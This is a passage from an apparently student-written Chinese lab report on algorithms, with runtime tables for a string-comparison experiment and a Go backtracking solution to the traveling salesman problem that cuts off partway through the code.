</td><td>31.9147ms</td></tr><tr><td>2864</td><td>2861</td><td>8193904</td><td>28.9223ms</td></tr><tr><td>2871</td><td>2874</td><td>8251254</td><td>27.9545ms</td></tr><tr><td>2884</td><td>2880</td><td>8305920</td><td>28.4225ms</td></tr><tr><td>2891</td><td>2898</td><td>8378118</td><td>31.9144ms</td></tr><tr><td>2906</td><td>2903</td><td>8436118</td><td>32.9117ms</td></tr><tr><td>2917</td><td>2910</td><td>8488470</td><td>29.4683ms</td></tr><tr><td>2927</td><td>2922</td><td>8552694</td><td>30.8867ms</td></tr><tr><td>2939</td><td>2938</td><td>8634782</td><td>29.9553ms</td></tr><tr><td>2944</td><td>2945</td><td>8670080</td><td>31.3555ms</td></tr><tr><td>2952</td><td>2959</td><td>8734968</td><td>29.8886ms</td></tr><tr><td>2969</td><td>2962</td><td>8794178</td><td>30.9186ms</td></tr><tr><td>2970</td><td>2970</td><td>8820900</td><td>31.9444ms</td></tr><tr><td>2981</td><td>2983</td><td>8892323</td><td>34.8759ms</td></tr><tr><td>2999</td><td>2995</td><td>8982005</td><td>31.949ms</td></tr></tbody></table><p>m与n差距增大时候</p><table><thead><tr><th>m</th><th>n</th><th>m*n</th><th>求解用时</th></tr></thead><tbody><tr><td>581</td><td>1283</td><td>745423</td><td>5.7179ms</td></tr><tr><td>865</td><td>1253</td><td>1083845</td><td>7.9796ms</td></tr><tr><td>903</td><td>1104</td><td>996912</td><td>5.9825ms</td></tr><tr><td>826</td><td>1447</td><td>1195222</td><td>6.9824ms</td></tr><tr><td>995</td><td>1296</td><td>1289520</td><td>7.979ms</td></tr><tr><td>666</td><td>1395</td><td>929070</td><td>6.0201ms</td></tr><tr><td>585</td><td>1497</td><td>875745</td><td>6.0188ms</td></tr><tr><td>683</td><td>1336</td><td>912488</td><td>5.0194ms</td></tr><tr><td>1016</td><td>1556</td><td>1580896</td><td>9.013ms</td></tr><tr><td>949</td><td>1288</td><td>1222312</td><td>8.9378ms</td></tr><tr><td>773</td><td>1487</td><td>1149451</td><td>6.9952ms</td></tr><tr><td>741</td><td>1179</td><td>873639</td><td>5.9552ms</td></tr><tr><td>694</td><td>1177</td><td>816838</td><td>4.0084ms</td></tr><tr><td>823</td><td>1608</td><td>1323384</td><td>6.9807ms</td></tr><tr><td>1015</td><td>1532</td><td>1554980</td><td>8.0138ms</td></tr><tr><td>1057</td><td>1272</td><td>1344504</td><td>6.9777ms</td></tr><tr><td>692</td><td>1338</td><td>925896</td><td>5.9524ms</td></tr><tr><td>1124</td><td>1545</td><td>1736580</td><td>9.0065ms</td></tr><tr><td>829</td><td>1430</td><td>1185470</td><td>6.9816ms</td></tr><tr><td>881</td><td>1513</td><td>1332953</td><td>8.2014ms</td></tr><tr><td>933</td><td>1353</td><td>1262349</td><td>7.0173ms</td></tr><tr><td>986</td><td>1464</td><td>1443504</td><td>8.0681ms</td></tr><tr><td>839</td><td>1362</td><td>1142718</td><td>6.9874ms</td></tr><tr><td>750</td><td>1258</td><td>943500</td><td>4.9549ms</td></tr><tr><td>1205</td><td>1644</td><td>1981020</td><td>10.0074ms</td></tr><tr><td>879</td><td>1325</td><td>1164675</td><td>5.2384ms</td></tr><tr><td>1160</td><td>1550</td><td>1798000</td><td>9.9417ms</td></tr><tr><td>1173</td><td>1616</td><td>1895568</td><td>10.0593ms</td></tr><tr><td>1074</td><td>1731</td><td>1859094</td><td>10.0038ms</td></tr><tr><td>862</td><td>1781</td><td>1535222</td><td>8.9775ms</td></tr><tr><td>1063</td><td>1397</td><td>1485011</td><td>8.2221ms</td></tr><tr><td>936</td><td>1520</td><td>1422720</td><td>8.9696ms</td></tr><tr><td>872</td><td>1804</td><td>1573088</td><td>7.9798ms</td></tr><tr><td>1137</td><td>1658</td><td>1885146</td><td>10.0572ms</td></tr><tr><td>907</td><td>1458</td><td>1322406</td><td>10.9944ms</td></tr><tr><td>1270</td><td>1466</td><td>1861820</td><td>11.0025ms</td></tr><tr><td>1315</td><td>1373</td><td>1805495</td><td>9.9491ms</td></tr><tr><td>1161</td><td>1519</td><td>1763559</td><td>16.9863ms</td></tr><tr><td>1302</td><td>1643</td><td>2139186</td><td>11.9381ms</td></tr><tr><td>1221</td><td>1474</td><td>1799754</td><td>9.0126ms</td></tr><tr><td>1037</td><td>1800</td><td>1866600</td><td>11.9298ms</td></tr><tr><td>1006</td><td>1648</td><td>1657888</td><td>8.9774ms</td></tr><tr><td>1227</td><td>1903</td><td>2334981</td><td>12.9631ms</td></tr><tr><td>1193</td><td>1754</td><td>2092522</td><td>11.004ms</td></tr><tr><td>1401</td><td>1754</td><td>2457354</td><td>12.1206ms</td></tr><tr><td>1386</td><td>1648</td><td>2284128</td><td>11.9376ms</td></tr><tr><td>989</td><td>1674</td><td>1655586</td><td>8.9756ms</td></tr><tr><td>1285</td><td>1476</td><td>1896660</td><td>10.9711ms</td></tr><tr><td>1397</td><td>1775</td><td>2479675</td><td>15.9572ms</td></tr><tr><td>1359</td><td>1583</td><td>2151297</td><td>13.9604ms</td></tr><tr><td>1389</td><td>1707</td><td>2371023</td><td>14.9599ms</td></tr><tr><td>1211</td><td>1765</td><td>2137415</td><td>13.9619ms</td></tr><tr><td>1027</td><td>1612</td><td>1655524</td><td>10.9739ms</td></tr><tr><td>1088</td><td>1983</td><td>2157504</td><td>14.0391ms</td></tr><tr><td>1480</td><td>1840</td><td>2723200</td><td>15.9875ms</td></tr><tr><td>1526</td><td>1976</td><td>3015376</td><td>16.9532ms</td></tr><tr><td>1338</td><td>2036</td><td>2724168</td><td>13.9963ms</td></tr><tr><td>1543</td><td>1686</td><td>2601498</td><td>12.9641ms</td></tr><tr><td>1430</td><td>2034</td><td>2908620</td><td>16.4305ms</td></tr><tr><td>1120</td><td>2087</td><td>2337440</td><td>11.968ms</td></tr><tr><td>1267</td><td>1784</td><td>2260328</td><td>10.0052ms</td></tr><tr><td>1118</td><td>1838</td><td>2054884</td><td>11.9673ms</td></tr><tr><td>1257</td><td>1993</td><td>2505201</td><td>12.1624ms</td></tr><tr><td>1587</td><td>1821</td><td>2889927</td><td>14.9934ms</td></tr><tr><td>1424</td><td>1681</td><td>2393744</td><td>14.1805ms</td></tr><tr><td>1390</td><td>1822</td><td>2532580</td><td>13.997ms</td></tr><tr><td>1197</td><td>1781</td><td>2131857</td><td>12.1608ms</td></tr><tr><td>1367</td><td>1676</td><td>2291092</td><td>12.9788ms</td></tr><tr><td>1458</td><td>1800</td><td>2624400</td><td>15.9887ms</td></tr><tr><td>1199</td><td>1859</td><td>2228941</td><td>10.9691ms</td></tr><tr><td>1639</td><td>1824</td><td>2989536</td><td>15.9873ms</td></tr><tr><td>1540</td><td>1900</td><td>2926000</td><td>16.9179ms</td></tr><tr><td>1353</td><td>2103</td><td>2845359</td><td>13.9611ms</td></tr><tr><td>1231</td><td>1968</td><td>2422608</td><td>13.0009ms</td></tr><tr><td>1628</td><td>2223</td><td>3619044</td><td>17.9514ms</td></tr><tr><td>1545</td><td>1899</td><td>2933955</td><td>14.9274ms</td></tr><tr><td>1320</td><td>2042</td><td>2695440</td><td>14.0809ms</td></tr><tr><td>1500</td><td>2109</td><td>3163500</td><td>16.9505ms</td></tr><tr><td>1490</td><td>1806</td><td>2690940</td><td>14.9595ms</td></tr><tr><td>1577</td><td>1833</td><td>2890641</td><td>15.0376ms</td></tr><tr><td>1629</td><td>2122</td><td>3456738</td><td>17.9528ms</td></tr><tr><td>1649</td><td>2064</td><td>3403536</td><td>16.9854ms</td></tr><tr><td>1400</td><td>2221</td><td>3109400</td><td>16.9864ms</td></tr><tr><td>1795</td><td>2289</td><td>4108755</td><td>19.9493ms</td></tr><tr><td>1725</td><td>1908</td><td>3291300</td><td>17.463ms</td></tr><tr><td>1813</td><td>2237</td><td>4055681</td><td>19.9774ms</td></tr><tr><td>1725</td><td>1954</td><td>3370650</td><td>16.9526ms</td></tr><tr><td>1764</td><td>1916</td><td>3379824</td><td>17.985ms</td></tr><tr><td>1489</td><td>1958</td><td>2915462</td><td>14.2071ms</td></tr><tr><td>1644</td><td>2302</td><td>3784488</td><td>19.9237ms</td></tr><tr><td>1592</td><td>1942</td><td>3091664</td><td>15.9559ms</td></tr><tr><td>1801</td><td>2035</td><td>3665035</td><td>18.1071ms</td></tr><tr><td>1574</td><td>2274</td><td>3579276</td><td>17.9812ms</td></tr><tr><td>1692</td><td>2163</td><td>3659796</td><td>17.9199ms</td></tr><tr><td>1644</td><td>2122</td><td>3488568</td><td>18.9504ms</td></tr><tr><td>1932</td><td>2091</td><td>4039812</td><td>18.976ms</td></tr><tr><td>1735</td><td>2090</td><td>3626150</td><td>17.9508ms</td></tr><tr><td>1882</td><td>2037</td><td>3833634</td><td>20.9768ms</td></tr><tr><td>1872</td><td>2297</td><td>4299984</td><td>21.9416ms</td></tr><tr><td>1768</td><td>2339</td><td>4135352</td><td>18.9808ms</td></tr><tr><td>1867</td><td>2183</td><td>4075661</td><td>23.9362ms</td></tr><tr><td>1894</td><td>2184</td><td>4136496</td><td>19.9759ms</td></tr><tr><td>1709</td><td>2421</td><td>4137489</td><td>22.9397ms</td></tr><tr><td>1828</td><td>2405</td><td>4396340</td><td>22.9243ms</td></tr><tr><td>1706</td><td>2233</td><td>3809498</td><td>20.9449ms</td></tr><tr><td>2035</td><td>2195</td><td>4466825</td><td>20.9772ms</td></tr><tr><td>1978</td><td>2354</td><td>4656212</td><td>23.9351ms</td></tr><tr><td>2012</td><td>2135</td><td>4295620</td><td>22.9384ms</td></tr><tr><td>1997</td><td>2082</td><td>4157754</td><td>20.9815ms</td></tr><tr><td>1638</td><td>2336</td><td>3826368</td><td>20.9807ms</td></tr><tr><td>1786</td><td>2210</td><td>3947060</td><td>20.1737ms</td></tr><tr><td>1769</td><td>2460</td><td>4351740</td><td>27.8925ms</td></tr><tr><td>1882</td><td>2248</td><td>4230736</td><td>24.932ms</td></tr><tr><td>1872</td><td>2393</td><td>4479696</td><td>22.9386ms</td></tr><tr><td>2046</td><td>2409</td><td>4928814</td><td>23.9359ms</td></tr><tr><td>1762</td><td>2527</td><td>4452574</td><td>21.9746ms</td></tr><tr><td>1695</td><td>2574</td><td>4362930</td><td>21.9427ms</td></tr><tr><td>1746</td><td>2233</td><td>3898818</td><td>19.9445ms</td></tr><tr><td>1685</td><td>2232</td><td>3760920</td><td>18.948ms</td></tr><tr><td>2144</td><td>2670</td><td>5724480</td><td>30.949ms</td></tr><tr><td>2045</td><td>2571</td><td>5257695</td><td>28.9498ms</td></tr><tr><td>2018</td><td>2583</td><td>5212494</td><td>27.4543ms</td></tr><tr><td>1903</td><td>2642</td><td>5027726</td><td>23.9207ms</td></tr><tr><td>2096</td><td>2241</td><td>4697136</td><td>23.2096ms</td></tr><tr><td>1986</td><td>2259</td><td>4486374</td><td>20.9175ms</td></tr><tr><td>1956</td><td>2315</td><td>4528140</td><td>23.9394ms</td></tr><tr><td>2182</td><td>2265</td><td>4942230</td><td>24.9266ms</td></tr><tr><td>2197</td><td>2602</td><td>5716594</td><td>29.8894ms</td></tr><tr><td>2258</td><td>2292</td><td>5175336</td><td>28.9211ms</td></tr><tr><td>1799</td><td>2315</td><td>4164685</td><td>21.9726ms</td></tr><tr><td>2261</td><td>2323</td><td>5252303</td><td>25.9026ms</td></tr><tr><td>2143</td><td>2632</td><td>5640376</td><td>27.4368ms</td></tr><tr><td>1966</td><td>2393</td><td>4704638</td><td>23.9367ms</td></tr><tr><td>1935</td><td>2517</td><td>4870395</td><td>24.9424ms</td></tr><tr><td>2302</td><td>2427</td><td>5586954</td><td>26.9276ms</td></tr><tr><td>1950</td><td>2723</td><td>5309850</td><td>28.9193ms</td></tr><tr><td>2289</td><td>2409</td><td>5514201</td><td>28.9534ms</td></tr><tr><td>2297</td><td>2402</td><td>5517394</td><td>26.9016ms</td></tr><tr><td>2211</td><td>2592</td><td>5730912</td><td>27.957ms</td></tr><tr><td>2256</td><td>2797</td><td>6310032</td><td>32.4114ms</td></tr><tr><td>2116</td><td>2814</td><td>5954424</td><td>27.9251ms</td></tr><tr><td>2349</td><td>2591</td><td>6086259</td><td>30.9188ms</td></tr><tr><td>2004</td><td>2763</td><td>5537052</td><td>27.1717ms</td></tr><tr><td>2007</td><td>2472</td><td>4961304</td><td>26.9281ms</td></tr><tr><td>1976</td><td>2645</td><td>5226520</td><td>28.929ms</td></tr><tr><td>1961</td><td>2819</td><td>5528059</td><td>28.3222ms</td></tr><tr><td>2147</td><td>2655</td><td>5700285</td><td>27.8957ms</td></tr><tr><td>2227</td><td>2738</td><td>6097526</td><td>30.9158ms</td></tr><tr><td>2364</td><td>2532</td><td>5985648</td><td>29.9213ms</td></tr><tr><td>2291</td><td>2722</td><td>6236102</td><td>32.9736ms</td></tr><tr><td>2268</td><td>2855</td><td>6475140</td><td>33.9105ms</td></tr><tr><td>2218</td><td>2662</td><td>5904316</td><td>32.8799ms</td></tr><tr><td>2376</td><td>2892</td><td>6871392</td><td>34.2158ms</td></tr><tr><td>2312</td><td>2599</td><td>6008888</td><td>29.9197ms</td></tr><tr><td>2194</td><td>2596</td><td>5695624</td><td>26.9297ms</td></tr><tr><td>2260</td><td>2628</td><td>5939280</td><td>32.5455ms</td></tr><tr><td>2249</td><td>2767</td><td>6222983</td><td>31.081ms</td></tr><tr><td>2201</td><td>3000</td><td>6603000</td><td>30.9186ms</td></tr><tr><td>2297</td><td>2605</td><td>5983685</td><td>30.0624ms</td></tr><tr><td>2210</td><td>2679</td><td>5920590</td><td>27.892ms</td></tr><tr><td>2412</td><td>2777</td><td>6698124</td><td>32.9409ms</td></tr><tr><td>2444</td><td>3003</td><td>7339332</td><td>35.1895ms</td></tr><tr><td>2141</td><td>3001</td><td>6425141</td><td>34.1741ms</td></tr><tr><td>2362</td><td>3045</td><td>7192290</td><td>35.9059ms</td></tr><tr><td>2362</td><td>3062</td><td>7232444</td><td>36.8917ms</td></tr><tr><td>2314</td><td>2683</td><td>6208462</td><td>30.9601ms</td></tr><tr><td>2440</td><td>2720</td><td>6636800</td><td>33.14ms</td></tr><tr><td>2347</td><td>2719</td><td>6381493</td><td>29.9195ms</td></tr><tr><td>2476</td><td>3141</td><td>7777116</td><td>38.8705ms</td></tr><tr><td>2584</td><td>2922</td><td>7550448</td><td>39.893ms</td></tr><tr><td>2517</td><td>2708</td><td>6816036</td><td>32.9386ms</td></tr><tr><td>2307</td><td>2909</td><td>6711063</td><td>34.9063ms</td></tr><tr><td>2258</td><td>3033</td><td>6848514</td><td>35.3544ms</td></tr><tr><td>2488</td><td>3110</td><td>7737680</td><td>38.8958ms</td></tr><tr><td>2686</td><td>3164</td><td>8498504</td><td>41.887ms</td></tr><tr><td>2374</td><td>2873</td><td>6820502</td><td>35.3624ms</td></tr><tr><td>2558</td><td>2940</td><td>7520520</td><td>38.0998ms</td></tr><tr><td>2731</td><td>3154</td><td>8613574</td><td>41.9011ms</td></tr><tr><td>2511</td><td>3068</td><td>7703748</td><td>36.9061ms</td></tr><tr><td>2743</td><td>3232</td><td>8865376</td><td>44.2455ms</td></tr><tr><td>2656</td><td>3004</td><td>7978624</td><td>38.9271ms</td></tr><tr><td>2337</td><td>3096</td><td>7235352</td><td>36.8674ms</td></tr><tr><td>2565</td><td>3133</td><td>8036145</td><td>41.4045ms</td></tr><tr><td>2663</td><td>3269</td><td>8705347</td><td>44.9085ms</td></tr><tr><td>2428</td><td>2905</td><td>7053340</td><td>33.91ms</td></tr><tr><td>2697</td><td>3294</td><td>8883918</td><td>41.996ms</td></tr><tr><td>2741</td><td>2957</td><td>8105137</td><td>41.8873ms</td></tr><tr><td>2848</td><td>3223</td><td>9179104</td><td>43.8556ms</td></tr><tr><td>2609</td><td>3188</td><td>8317492</td><td>38.9274ms</td></tr><tr><td>2451</td><td>3241</td><td>7943691</td><td>37.9006ms</td></tr><tr><td>2784</td><td>2922</td><td>8134848</td><td>38.897ms</td></tr><tr><td>2621</td><td>3206</td><td>8402926</td><td>40.891ms</td></tr><tr><td>2733</td><td>3023</td><td>8261859</td><td>39.8934ms</td></tr><tr><td>2440</td><td>3364</td><td>8208160</td><td>39.8619ms</td></tr><tr><td>2852</td><td>3129</td><td>8923908</td><td>43.1585ms</td></tr><tr><td>2735</td><td>3152</td><td>8620720</td><td>41.1268ms</td></tr><tr><td>2672</td><td>3322</td><td>8876384</td><td>41.8865ms</td></tr><tr><td>2966</td><td>3011</td><td>8930626</td><td>52.885ms</td></tr><tr><td>2797</td><td>3294</td><td>9213318</td><td>46.8428ms</td></tr><tr><td>2697</td><td>3039</td><td>8196183</td><td>39.921ms</td></tr><tr><td>2819</td><td>3068</td><td>8648692</td><td>40.8868ms</td></tr></tbody></table><p><img src="/images/pasted-647.png" alt="upload successful"></p><h4 id="数据可视化-1"><a href="#数据可视化-1" class="headerlink" title="数据可视化"></a>数据可视化</h4><p>m*n与运行时间的关系</p><p><img src="/images/pasted-648.png" alt="upload successful"></p><p>分析：根据本次实验得出的数据来看，两个字符串的长度m与n和求解用时之间没有什么规律。但从理论上讲，m*n越大，用时也应该越长</p><h3 id="实验环境-2"><a href="#实验环境-2" class="headerlink" title="实验环境"></a>实验环境</h3><p>goland</p><p>excel</p><h3 id="疑难小结-2"><a href="#疑难小结-2" class="headerlink" title="疑难小结"></a>疑难小结</h3><p>​    最开始根据m*n与求解用时的认为mn越大，求解用时越长，但是随之我增大m与n的之间的差距，在mn与求解用时的关系就出现了波动，说明nm和求解用时之间关联不是那么强烈，尤其是小数据范围内数据差距影响还是蛮大的，但是从理论上来讲mn越大，求解用时越长。</p><h2 id="搜索算法应用-求解旅行商问题"><a href="#搜索算法应用-求解旅行商问题" class="headerlink" title="搜索算法应用(求解旅行商问题)"></a>搜索算法应用(求解旅行商问题)</h2><h3 id="实验过程-请用简单的文字描述-2"><a href="#实验过程-请用简单的文字描述-2" class="headerlink" title="实验过程(请用简单的文字描述)"></a>实验过程(请用简单的文字描述)</h3><ol><li><p>首先对问题进行重述: 对旅行商问题使用回溯法进行分析</p><p>问题：设有n个城市组成的交通图，一个售货员从住地城市出发，到其它城市各一次去推销货物，最后回到住地城市。假定任意两个城市i，j之间的距离dij(dij=dji)是已知的，问应该怎样选择一条最短的路线？</p></li><li><p>确定实验算法思路:n 个城市组成的交通图中有 n 个节点，n 个节点之间的连 线的权值代表两个城市之间的距离，现在需要从一个点开始出发，假设这个开始 的点是 v0，需要到其他的所有点，在这个过程中需要找到最短的一个距离。搜 索整个解空间，当不满条件时，丢弃，继续搜索下一个儿子结点，如果所有儿子 结点都不满足，向上回溯到它的父节点。</p></li><li><p>确定随机数范围：按照实际情况，旅行商问题使用回溯法进行计算的时候时 间复杂度应该是 O(n!)，这个时候应该呈现出爆炸式增长，那么 n 的区值就不能 是 500 这个样子的，这里从 15 开始计算，后来确定范围为[3，14]。</p></li><li><p>实验过程大计划：使用golang进行编写，使用excel进行数据可视化</p></li></ol><h3 id="实验详细操作步骤或程序清单："><a href="#实验详细操作步骤或程序清单：" class="headerlink" title="实验详细操作步骤或程序清单："></a>实验详细操作步骤或程序清单：</h3><ol><li><p>造数据</p><p>当我最开始进行生成数据的时候发现因为有随机数的存在，所以结果进行可视化 的时候效果不太好，后来对随机数的生成范围以及 n 的取值间隔进行了调整，发现随机数取值范围在[n,n+10] 的时候相较于我之前所造数据好很多。</p></li><li><p>回溯法</p><p><strong>基本思想:</strong></p><p>在包含问题的所有解的解空间树中，按照深度优先搜索的策略，从根结点（开始结点）出发搜索解空间树</p></li></ol><p>一个复杂问题的解决方案是由若干个小的决策步骤组成的决策序列，解决一个问题的所有可能的决策序列构成该问题的解空间</p><p>​        <strong>求解过程:</strong></p><ul><li>用约束函数在扩展结点处剪除不满足约束的子树；</li><li>用限界函数剪去得不到问题解或最优解的子树。</li></ul><ol><li><p>确定问题的解空间树，问题的解空间树应至少包含问题的一个（最优）解。</p></li><li><p>确定结点的扩展规则。</p></li><li><p>以深度优先方式搜索解空间树，并在搜索过程中可以采用剪枝函数来避免无效搜索。</p><p><strong>回溯法 = 深度优先搜索 + 剪枝</strong></p><p><strong>搜索过程:</strong></p><p>扩展结点进行扩展的时候考虑约束条件和限界条件，如果说两个条件都满足 的话继续往下面进行搜索，如果到叶子结点的时候开始寻找最优解。 如果访问到 n 个节点,要判断是否形成回路，如果当前值优于最优值，更新最 优值和最优解。形成回路的条件就是 x[n-1]与 x[n]连通，x[n]与 x[1]连通，在形成 环路的时候，如果当前值优于最优值，更新最优值和最优解，best1=inf 说明还没 有广搜到一条回路，那就先试着求出一个可行解，接下来继续判断找到最优解， 并将最优解进行更新。 如果说当前在第 i 层，还得继续寻找。判断是否可以进入 x[j]子树，x[i-1]与 x[j]连通使得 1-i 层连成一条路径且累计花费优于目前最优值，可以进入 x[j]子树， 这里要做的就是交换 x[i]与 x[j],进入 i+1 层，思想类似于 n 的全排列问题，递归求 解，best1==inf 的时候就说明还没有通过广度优先搜索找到一条回路，那就先试 着求出一个可行解，现在的解就是 x[1],x[2]…x[i]…x[j]…x[n]，接下来判断是否满足 条件，如果说满足条件的话就进行交换，然后更新路径的长度进入第 i+1 层，在 回溯的时候需要还原路径的长度，然后重新交换 x[i]和 x[j]的位置进行还原。</p><p>3.程序清单:</p><p>回溯法：</p><pre class=" language-go"><code class="language-go"><span class="token keyword">func</span> <span class="token function">BackTrack</span><span class="token punctuation">(</span>t <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>    <span class="token keyword">if</span> t <span class="token operator">></span> n <span class="token punctuation">{</span>        <span class="token keyword">if</span> g<span class="token punctuation">[</span>x<span class="token punctuation">[</span>n<span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token operator">-</span><span class="token number">1</span> <span class="token operator">&amp;&amp;</span> <span class="token punctuation">(</span>cl<span class="token operator">+</span>g<span class="token punctuation">[</span>x<span class="token punctuation">[</span>n<span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">&lt;</span> bestl<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">// 最后一个城市与出发的城市之间有路径 且当前总距离比当前最优值小</span>            <span class="token keyword">for</span> j <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;=</span> n<span class="token punctuation">;</span> j<span class="token operator">++</span> <span class="token punctuation">{</span>                bestx<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> x<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token comment" spellcheck="true">// 将当前路径的解 赋值给最优路径解</span>            <span class="token punctuation">}</span>            bestl <span class="token operator">=</span> cl <span class="token operator">+</span> g<span class="token punctuation">[</span>x<span class="token punctuation">[</span>n<span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token comment" spellcheck="true">// 最优解为当进已走的长度 + 最后一个城市到 初始城市的距离 即: 回到初始城市</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">// 没有到达叶子节点</span>        <span class="token keyword">for</span> j <span class="token operator">:=</span> t<span class="token punctuation">;</span> j <span class="token operator">&lt;=</span> n<span class="token punctuation">;</span> j<span class="token operator">++</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">// 搜索所有与当前城市临近的剩余城市</span>            <span class="token keyword">if</span> g<span class="token punctuation">[</span>x<span class="token punctuation">[</span>t<span class="token number">-1</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">[</span>x<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token operator">-</span><span class="token number">1</span> <span class="token operator">&amp;&amp;</span> cl<span class="token operator">+</span>g<span class="token punctuation">[</span>x<span class="token punctuation">[</span>t<span class="token number">-1</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">[</span>x<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">]</span> <span class="token operator">&lt;</span> bestl <span class="token punctuation">{</span>                <span class="token comment" spellcheck="true">// 如果第t-1个城市与第t个城市 有路径 且小于 best1</span>                x<span class="token punctuation">[</span>t<span class="token punctuation">]</span><span class="token punctuation">,</span> x<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> x<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">,</span> x<span class="token punctuation">[</span>t<span class="token punctuation">]</span>   <span class="token comment" spellcheck="true">//交换t与j  即第t个要去的城市</span>                cl <span class="token operator">=</span> cl <span class="token operator">+</span> g<span class="token punctuation">[</span>x<span class="token punctuation">[</span>t<span class="token number">-1</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">[</span>x<span class="token punctuation">[</span>t<span class="token punctuation">]</span><span class="token punctuation">]</span> <span class="token comment" spellcheck="true">// 路线长度增加</span>                <span class="token function">BackTrack</span><span class="token punctuation">(</span>t <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span>          <span class="token comment" spellcheck="true">// 深度搜索下个节点</span>                <span class="token comment" spellcheck="true">// 下个城市与当前城市 需要恢复 cl x[t]</span>                cl <span class="token operator">=</span> cl <span class="token operator">-</span> g<span class="token punctuation">[</span>x<span class="token punctuation">[</span>t<span class="token number">-1</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">[</span>x<span class="token punctuation">[</span>t<span class="token punctuation">]</span><span class="token punctuation">]</span>                x<span class="token punctuation">[</span>t<span class="token punctuation">]</span><span class="token punctuation">,</span> x<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> x<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">,</span> x<span class="token punctuation">[</span>t<span class="token punctuation">]</span>            <span class="token punctuation">}</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><p>总代码:</p><pre class=" language-go"><code class="language-go"><span class="token keyword">package</span> main<span class="token keyword">import</span> <span class="token punctuation">(</span>    <span class="token string">"fmt"</span>    <span class="token string">"math/rand"</span>    <span class="token string">"time"</span><span class="token punctuation">)</span><span class="token keyword">var</span> <span class="token punctuation">(</span>    n     <span class="token builtin">int</span>             <span class="token comment" spellcheck="true">// 城市个数</span>    g     <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span>         <span class="token comment" spellcheck="true">// 存放城市之间距离</span>    cl    <span class="token builtin">int</span>     <span class="token operator">=</span> <span class="token number">0</span>     <span class="token comment" spellcheck="true">// 当前已走过的城市所用的路径长度</span>    bestl <span class="token builtin">int</span>     <span class="token operator">=</span> <span class="token number">10000</span> <span class="token comment" spellcheck="true">// 表示当前找到的最短路径的路径长度</span>    x     <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span>           <span class="token comment" spellcheck="true">// 当前路线</span>    bestx <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span>           <span class="token comment" spellcheck="true">// 最优路线</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">RandInt</span><span class="token punctuation">(</span>min<span class="token punctuation">,</span> max <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token builtin">int</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">//生成随机数</span>    <span class="token keyword">if</span> min <span class="token operator">>=</span> max <span class="token operator">||</span> min <span class="token operator">==</span> <span class="token number">0</span> <span class="token operator">||</span> max <span class="token operator">==</span> <span class="token number">0</span> <span class="token punctuation">{</span>        <span class="token keyword">return</span> max    <span class="token punctuation">}</span>    <span class="token keyword">return</span> rand<span class="token punctuation">.</span><span class="token function">Intn</span><span class="token punctuation">(</span>max<span class="token operator">-</span>min<span class="token punctuation">)</span> <span class="token operator">+</span> min<span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>    fmt<span class="token punctuation">.</span><span class="token function">Println</span><span class="token punctuation">(</span><span class="token string">"n的大小\t运行时间\t最短路径长度"</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> n <span class="token operator">=</span> <span class="token number">3</span><span class="token punctuation">;</span> n <span class="token operator">&lt;</span> <span class="token number">17</span><span class="token punctuation">;</span> n<span class="token operator">++</span> <span class="token punctuation">{</span>        <span class="token comment" spellcheck="true">// 初始化g 空间</span>        g <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> n<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span>        <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> n<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span>            g<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> n<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span>        <span class="token punctuation">}</span>        <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> n<span 